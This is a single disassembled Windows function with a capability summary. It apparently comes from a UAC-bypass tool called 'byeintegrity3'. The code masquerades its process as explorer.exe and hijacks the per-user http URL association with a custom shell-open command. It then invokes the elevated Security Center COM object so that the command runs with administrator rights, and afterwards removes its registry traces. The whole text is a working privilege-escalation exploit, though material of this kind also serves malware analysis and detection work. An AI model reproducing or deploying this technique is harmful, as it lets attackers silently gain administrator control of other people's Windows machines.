Function at 0x1400d04a1
Capabilities:
Delete registry key
Get common file path
Persist via default file association registry key
Set registry value

Disassembly:
jmp 0x1400eae10
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x778
lea rbp, [rsp + 0x50]
mov rdi, rsp
mov ecx, 0x1de
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x798]
mov rax, qword [0x1402eb038]
xor rax, rbp
mov qword [rbp + 0x710], rax
lea rcx, [0x140309080]
call fcn.1400d07c6
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.DLL_GetStdHandle]
mov qword [rbp + 8], rax
mov dx, 8
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.DLL_SetConsoleTextAttribute]
lea rdx, str._________________________.___________________________________.___________________________n_____________.__._________________________________________________.__._________n__________________________________________________________________________n______________________________________________________________________n___________________________________________________________________________n__________________________________________________________________________________n_n
lea rcx, [0x1402edca0]
call fcn.1400cdd28
mov dx, 7
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.DLL_SetConsoleTextAttribute]
call fcn.1400cfa29
mov rax, qword [rax + 0x60]
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
mov eax, dword [rax + 0x118]
mov dword [rbp + 0x44], eax
mov rax, qword [rbp + 0x28]
mov eax, dword [rax + 0x11c]
mov dword [rbp + 0x64], eax
cmp dword [rbp + 0x44], 6
ja 0x1400eaefc
cmp dword [rbp + 0x64], 1
jae 0x1400eaefc
lea rdx, str.OS_not_supported._n
lea rcx, [0x1402edca0]
call fcn.1400cdd28
mov dword [rbp + 0x534], 1
mov rcx, qword [rbp + 0x740]
call fcn.1400cfa83
mov eax, dword [rbp + 0x534]
jmp 0x1400ebac0
lea r9, [rbp + 0x88]
xor r8d, r8d
xor edx, edx
lea rcx, [0x140292e20]
call fcn.1400cd459
mov dword [rbp + 0xc4], eax
cmp dword [rbp + 0xc4], 0
jge 0x1400eaf83
lea rdx, str.SHGetKnownFolderPath____0__failed._HRESULT:_0x
lea rcx, [0x1402edca0]
call fcn.1400cdd28
lea rdx, [0x1400cff9c]
mov rcx, rax
call fcn.1400ce778
mov edx, dword [rbp + 0xc4]
mov rcx, rax
call fcn.1400cc4b4
lea rdx, [0x1400cda94]
mov rcx, rax
call fcn.1400cf4a7
mov dword [rbp + 0x554], 1
mov rcx, qword [rbp + 0x740]
call fcn.1400cfa83
mov eax, dword [rbp + 0x554]
jmp 0x1400ebac0
lea r9, [rbp + 0xa8]
xor r8d, r8d
xor edx, edx
lea rcx, [0x140294230]
call fcn.1400cd459
mov dword [rbp + 0xc4], eax
cmp dword [rbp + 0xc4], 0
jge 0x1400eb017
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
lea rdx, str.SHGetKnownFolderPath____1__failed._HRESULT:_0x
lea rcx, [0x1402edca0]
call fcn.1400cdd28
lea rdx, [0x1400cff9c]
mov rcx, rax
call fcn.1400ce778
mov edx, dword [rbp + 0xc4]
mov rcx, rax
call fcn.1400cc4b4
lea rdx, [0x1400cda94]
mov rcx, rax
call fcn.1400cf4a7
mov dword [rbp + 0x574], 1
mov rcx, qword [rbp + 0x740]
call fcn.1400cfa83
mov eax, dword [rbp + 0x574]
jmp 0x1400ebac0
mov rdx, qword [rbp + 0x88]
lea rcx, [rbp + 0xe8]
call fcn.1400ccda1
nop
mov rdx, qword [rbp + 0xa8]
lea rcx, [rbp + 0x128]
call fcn.1400ccda1
nop
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
lea rdx, str.explorer.exe
lea rcx, [rbp + 0xe8]
call fcn.1400cdcce
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
lea rdx, str.RtlInitUnicodeString
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov qword [rbp + 0x168], rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
lea rdx, str.LdrEnumerateLoadedModules
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov qword [rbp + 0x188], rax
lea rcx, [rbp + 0xe8]
call fcn.1400cce1e
mov r8, qword [rbp + 0x188]
mov rdx, qword [rbp + 0x168]
mov rcx, rax
call fcn.1400ce877
mov edx, 0xe
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeEx]
mov dword [rbp + 0xc4], eax
cmp dword [rbp + 0xc4], 0
jge 0x1400eb16c
lea rdx, str.CoInitializeEx___failed._HRESULT:_0x
lea rcx, [0x1402edca0]
call fcn.1400cdd28
lea rdx, [0x1400cff9c]
mov rcx, rax
call fcn.1400ce778
mov edx, dword [rbp + 0xc4]
mov rcx, rax
call fcn.1400cc4b4
lea rdx, [0x1400cda94]
mov rcx, rax
call fcn.1400cf4a7
mov dword [rbp + 0x594], 1
lea rcx, [rbp + 0x128]
call fcn.1400cfa83
nop
lea rcx, [rbp + 0xe8]
call fcn.1400cfa83
nop
mov rcx, qword [rbp + 0x740]
call fcn.1400cfa83
mov eax, dword [rbp + 0x594]
jmp 0x1400ebac0
mov qword [rsp + 0x40], 0
lea rax, [rbp + 0x1a8]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, str.SOFTWAREClasses_byeintegrity3_shellopencommand
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov dword [rbp + 0x1c4], eax
cmp dword [rbp + 0x1c4], 0
je 0x1400eb234
call qword [sym.imp.ole32.dll_CoUninitialize]
lea rdx, str.RegCreateKeyExW___failed._LSTATUS:
lea rcx, [0x1402edca0]
call fcn.1400cdd28
mov edx, dword [rbp + 0x1c4]
mov rcx, rax
call fcn.1400cc4b4
lea rdx, [0x1400cda94]
mov rcx, rax
call fcn.1400cf4a7
mov dword [rbp + 0x5b4], 1
lea rcx, [rbp + 0x128]
call fcn.1400cfa83
nop
lea rcx, [rbp + 0xe8]
call fcn.1400cfa83
nop
mov rcx, qword [rbp + 0x740]
call fcn.1400cfa83
mov eax, dword [rbp + 0x5b4]
jmp 0x1400ebac0
lea rdx, str.C:wininiti.exe
lea rcx, [rbp + 0x128]
call fcn.1400cc612
lea rcx, [rbp + 0x128]
call fcn.1400cbf0a
lea rax, [rax + rax + 2]
mov qword [rbp + 0x708], rax
lea rcx, [rbp + 0x128]
call fcn.1400cce1e
mov rcx, qword [rbp + 0x708]
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x1a8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov dword [rbp + 0x1c4], eax
mov rcx, qword [rbp + 0x1a8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [rbp + 0x1c4], 0
je 0x1400eb338
lea rdx, str.SOFTWAREClasses_byeintegrity3
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegDeleteTreeW]
call qword [sym.imp.ole32.dll_CoUninitialize]
lea rdx, str.RegSetValueExW___failed._LSTATUS:
lea rcx, [0x1402edca0]
call fcn.1400cdd28
mov edx, dword [rbp + 0x1c4]
mov rcx, rax
call fcn.1400cc4b4
lea rdx, [0x1400cda94]
mov rcx, rax
call fcn.1400cf4a7
mov dword [rbp + 0x5d4], 1
lea rcx, [rbp + 0x128]
call fcn.1400cfa83
nop
lea rcx, [rbp + 0xe8]
call fcn.1400cfa83
nop
mov rcx, qword [rbp + 0x740]
call fcn.1400cfa83
mov eax, dword [rbp + 0x5d4]
jmp 0x1400ebac0
cmp dword [rbp + 0x44], 0xa
jne 0x1400eb583
cmp dword [rbp + 0x64], 0
jne 0x1400eb583
mov r8d, 0x800
xor edx, edx
lea rcx, str.SystemSettings.Handlers.dll
call qword [sym.imp.KERNEL32.DLL_LoadLibraryExW]
mov qword [rbp + 0x1e8], rax
cmp qword [rbp + 0x1e8], 0
jne 0x1400eb409
lea rdx, str.SOFTWAREClasses_byeintegrity3
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegDeleteTreeW]
call qword [sym.imp.ole32.dll_CoUninitialize]
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov dword [rbp + 0x704], eax
lea rdx, str.LoadLibraryExW___failed._Error:
lea rcx, [0x1402edca0]
call fcn.1400cdd28
mov ecx, dword [rbp + 0x704]
mov edx, ecx
mov rcx, rax
call fcn.1400d05d2
lea rdx, [0x1400cda94]
mov rcx, rax
call fcn.1400cf4a7
mov dword [rbp + 0x5f4], 1
lea rcx, [rbp + 0x128]
call fcn.1400cfa83
nop
lea rcx, [rbp + 0xe8]
call fcn.1400cfa83
nop
mov rcx, qword [rbp + 0x740]
call fcn.1400cfa83
mov eax, dword [rbp + 0x5f4]
jmp 0x1400ebac0
mov r9, qword [rbp + 0x1e8]
lea r8, str..text
mov edx, 0x26
lea rcx, [0x1402768c8]
call fcn.1400cb221
mov qword [rbp + 0x208], rax
cmp qword [rbp + 0x208], 0
jne 0x1400eb4ae
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.KERNEL32.DLL_FreeLibrary]
lea rdx, str.SOFTWAREClasses_byeintegrity3
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegDeleteTreeW]
call qword [sym.imp.ole32.dll_CoUninitialize]
lea rdx, str.SystemSettings.Handlers.dll_UserAssocSet___Internal__not_found._n
lea rcx, [0x1402edca0]
call fcn.1400cdd28
mov dword [rbp + 0x614], 1
lea rcx, [rbp + 0x128]
call fcn.1400cfa83
nop
lea rcx, [rbp + 0xe8]
call fcn.1400cfa83
nop
mov rcx, qword [rbp + 0x740]
call fcn.1400cfa83
mov eax, dword [rbp + 0x614]
jmp 0x1400ebac0
mov r9d, 1
lea r8, str.byeintegrity3
lea rdx, str.http
xor ecx, ecx
call qword [rbp + 0x208]
mov dword [rbp + 0xc4], eax
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.KERNEL32.DLL_FreeLibrary]
cmp dword [rbp + 0xc4], 0
jge 0x1400eb57e
lea rdx, str.SOFTWAREClasses_byeintegrity3
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegDeleteTreeW]
call qword [sym.imp.ole32.dll_CoUninitialize]
lea rdx, str.SystemSettings.Handlers.dll_UserAssocSet___Internal__did_not_return_S_OK._Return_value____HRESULT_0x
lea rcx, [0x1402edca0]
call fcn.1400cdd28
lea rdx, [0x1400cff9c]
mov rcx, rax
call fcn.1400ce778
mov edx, dword [rbp + 0xc4]
mov rcx, rax
call fcn.1400cc4b4
lea rdx, [0x1400cda94]
mov rcx, rax
call fcn.1400cf4a7
mov dword [rbp + 0x634], 1
lea rcx, [rbp + 0x128]
call fcn.1400cfa83
nop
lea rcx, [rbp + 0xe8]
call fcn.1400cfa83
nop
mov rcx, qword [rbp + 0x740]
call fcn.1400cfa83
mov eax, dword [rbp + 0x634]
jmp 0x1400ebac0
jmp 0x1400eb80b
cmp dword [rbp + 0x44], 6
jne 0x1400eb72a
cmp dword [rbp + 0x64], 2
je 0x1400eb59d
cmp dword [rbp + 0x64], 3
jne 0x1400eb72a
mov r8d, 0x800
xor edx, edx
lea rcx, str.shell32.dll
call qword [sym.imp.KERNEL32.DLL_LoadLibraryExW]
mov qword [rbp + 0x228], rax
cmp qword [rbp + 0x228], 0
jne 0x1400eb65a
lea rdx, str.SOFTWAREClasses_byeintegrity3
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegDeleteTreeW]
call qword [sym.imp.ole32.dll_CoUninitialize]
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov dword [rbp + 0x704], eax
lea rdx, str.LoadLibraryExW___failed._Error:
lea rcx, [0x1402edca0]
call fcn.1400cdd28
mov ecx, dword [rbp + 0x704]
mov edx, ecx
mov rcx, rax
call fcn.1400d05d2
lea rdx, [0x1400cda94]
mov rcx, rax
call fcn.1400cf4a7
mov dword [rbp + 0x654], 1
lea rcx, [rbp + 0x128]
call fcn.1400cfa83
nop
lea rcx, [rbp + 0xe8]
call fcn.1400cfa83
nop
mov rcx, qword [rbp + 0x740]
call fcn.1400cfa83
mov eax, dword [rbp + 0x654]
jmp 0x1400ebac0
mov r9, qword [rbp + 0x228]
lea r8, str..text
mov edx, 0x1b
lea rcx, [0x1402768f0]
call fcn.1400d0a7d
mov qword [rbp + 0x248], rax
cmp qword [rbp + 0x248], 0
jne 0x1400eb6ff
mov rcx, qword [rbp + 0x228]
call qword [sym.imp.KERNEL32.DLL_FreeLibrary]
lea rdx, str.SOFTWAREClasses_byeintegrity3
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegDeleteTreeW]
call qword [sym.imp.ole32.dll_CoUninitialize]
lea rdx, str.shell32.dll_UserAssocSet_not_found._n
lea rcx, [0x1402edca0]
call fcn.1400cdd28
mov dword [rbp + 0x674], 1
lea rcx, [rbp + 0x128]
call fcn.1400cfa83
nop
lea rcx, [rbp + 0xe8]
call fcn.1400cfa83
nop
mov rcx, qword [rbp + 0x740]
call fcn.1400cfa83
mov eax, dword [rbp + 0x674]
jmp 0x1400ebac0
lea r8, str.byeintegrity3
lea rdx, str.http
mov ecx, 2
call qword [rbp + 0x248]
mov rcx, qword [rbp + 0x228]
call qword [sym.imp.KERNEL32.DLL_FreeLibrary]
jmp 0x1400eb80b
cmp dword [rbp + 0x44], 6
jne 0x1400eb80b
cmp dword [rbp + 0x64], 1
jne 0x1400eb80b
mov dword [rsp + 0x28], 0x1c
lea rax, str.byeintegrity3
mov qword [rsp + 0x20], rax
mov r9d, 1
lea r8, str.ProgId
lea rdx, str.SOFTWAREMicrosoftWindowsShellAssociationsUrlAssociationshttpUserChoice
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegSetKeyValueW]
mov dword [rbp + 0x264], eax
cmp dword [rbp + 0x264], 0
je 0x1400eb80b
lea rdx, str.SOFTWAREClasses_byeintegrity3
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegDeleteTreeW]
call qword [sym.imp.ole32.dll_CoUninitialize]
lea rdx, str.RegSetKeyValueW___failed._LSTATUS:
lea rcx, [0x1402edca0]
call fcn.1400cdd28
mov edx, dword [rbp + 0x264]
mov rcx, rax
call fcn.1400cc4b4
lea rdx, [0x1400cda94]
mov rcx, rax
call fcn.1400cf4a7
mov dword [rbp + 0x694], 1
lea rcx, [rbp + 0x128]
call fcn.1400cfa83
nop
lea rcx, [rbp + 0xe8]
call fcn.1400cfa83
nop
mov rcx, qword [rbp + 0x740]
call fcn.1400cfa83
mov eax, dword [rbp + 0x694]
jmp 0x1400ebac0
lea rax, [rbp + 0x288]
mov rdi, rax
xor eax, eax
mov ecx, 0x30
rep stosb byte [rdi], al
mov dword [rbp + 0x288], 0x30
mov dword [rbp + 0x29c], 4
lea r9, [rbp + 0x2d8]
lea r8, [0x1402768b8]
lea rdx, [rbp + 0x288]
lea rcx, str.Elevation:Administrator_new:E9495B87_D950_4AB5_87A5_FF6D70BF3E90
call qword [sym.imp.ole32.dll_CoGetObject]
mov dword [rbp + 0xc4], eax
cmp dword [rbp + 0xc4], 0
jge 0x1400eb8fb
lea rdx, str.SOFTWAREClasses_byeintegrity3
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegDeleteTreeW]
call qword [sym.imp.ole32.dll_CoUninitialize]
lea rdx, str.CoGetObject___failed._HRESULT:_0x
lea rcx, [0x1402edca0]
call fcn.1400cdd28
lea rdx, [0x1400cff9c]
mov rcx, rax
call fcn.1400ce778
mov edx, dword [rbp + 0xc4]
mov rcx, rax
call fcn.1400cc4b4
lea rdx, [0x1400cda94]
mov rcx, rax
call fcn.1400cf4a7
mov dword [rbp + 0x6b4], 1
lea rcx, [rbp + 0x128]
call fcn.1400cfa83
nop
lea rcx, [rbp + 0xe8]
call fcn.1400cfa83
nop
mov rcx, qword [rbp + 0x740]
call fcn.1400cfa83
mov eax, dword [rbp + 0x6b4]
jmp 0x1400ebac0
mov rax, qword [rbp + 0x2d8]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x2d8]
call qword [rax + 0x18]
mov dword [rbp + 0xc4], eax
cmp dword [rbp + 0xc4], 0
jge 0x1400eb9bc
mov rax, qword [rbp + 0x2d8]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x2d8]
call qword [rax + 0x10]
lea rdx, str.SOFTWAREClasses_byeintegrity3
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegDeleteTreeW]
call qword [sym.imp.ole32.dll_CoUninitialize]
lea rdx, str.CWscAdmin::Initialize___failed._HRESULT:_0x
lea rcx, [0x1402edca0]
call fcn.1400cdd28
lea rdx, [0x1400cff9c]
mov rcx, rax
call fcn.1400ce778
lea rdx, [0x1400cda94]
mov rcx, rax
call fcn.1400cf4a7
mov dword [rbp + 0x6d4], 1
lea rcx, [rbp + 0x128]
call fcn.1400cfa83
nop
lea rcx, [rbp + 0xe8]
call fcn.1400cfa83
nop
mov rcx, qword [rbp + 0x740]
call fcn.1400cfa83
mov eax, dword [rbp + 0x6d4]
jmp 0x1400ebac0
mov rax, qword [rbp + 0x2d8]
mov rax, qword [rax]
xor r9d, r9d
mov r8d, 0x67
xor edx, edx
mov rcx, qword [rbp + 0x2d8]
call qword [rax + 0x20]
mov dword [rbp + 0xc4], eax
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.DLL_Sleep]
mov rax, qword [rbp + 0x2d8]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x2d8]
call qword [rax + 0x10]
lea rdx, str.SOFTWAREClasses_byeintegrity3
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegDeleteTreeW]
call qword [sym.imp.ole32.dll_CoUninitialize]
cmp dword [rbp + 0xc4], 0
jge 0x1400eba9a
lea rdx, str.CWscAdmin::DoModalSecurityAction___failed._HRESULT:_0x
lea rcx, [0x1402edca0]
call fcn.1400cdd28
lea rdx, [0x1400cff9c]
mov rcx, rax
call fcn.1400ce778
mov edx, dword [rbp + 0xc4]
mov rcx, rax
call fcn.1400cc4b4
lea rdx, [0x1400cda94]
mov rcx, rax
call fcn.1400cf4a7
mov dword [rbp + 0x6f4], 1
lea rcx, [rbp + 0x128]
call fcn.1400cfa83
nop
lea rcx, [rbp + 0xe8]
call fcn.1400cfa83
nop
mov rcx, qword [rbp + 0x740]
call fcn.1400cfa83
mov eax, dword [rbp + 0x6f4]
jmp 0x1400ebac0
lea rcx, [rbp + 0x128]
call fcn.1400cfa83
nop
lea rcx, [rbp + 0xe8]
call fcn.1400cfa83
nop
mov rcx, qword [rbp + 0x740]
call fcn.1400cfa83
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, [0x140277db8]
call fcn.1400cf82b
mov rax, rdi
mov rcx, qword [rbp + 0x710]
xor rcx, rbp
call fcn.1400cda58
lea rsp, [rbp + 0x728]
pop rdi
pop rbp
ret